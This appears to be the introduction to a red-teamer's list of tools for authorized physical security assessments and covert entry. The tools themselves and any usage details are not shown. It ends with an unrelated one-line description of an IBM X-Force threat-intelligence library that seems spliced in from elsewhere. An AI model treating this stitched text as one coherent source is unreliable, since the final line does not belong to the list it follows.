***The links of the products may change with time, if so, just ping me on twitter so I can update them. None of the links are affiliated or sponsored. Also, I have personally purchased almost every single item from this list out of my own pocket based on needs for engagements. If there are any other items that are not on this list and you believe they should be, feel free to DM or ping me on twitter (@DavidProbinsky) and I can add them.***

Commonly used tools for Red Teaming Engagements, Physical Security Assessments, and Tactical Covert Entry.

In this list I decided to share most of the tools I utilize in authorized engagements, including where to find some of them, and in some cases I will also include some other alternative tools. I am not providing information on how to use these tools, since this information can be found online with some research. My goal with this list is to help fellow Red Teamers with a 'checklist', for whenever they might be missing a tool, and use this list as a reference for any engagement. Stay safe and legal!!

X-force - IBM Security Utilitary Library In Python. Search And Query All Sources: Threat_Activities And Groups, Malware_Analysis, Industries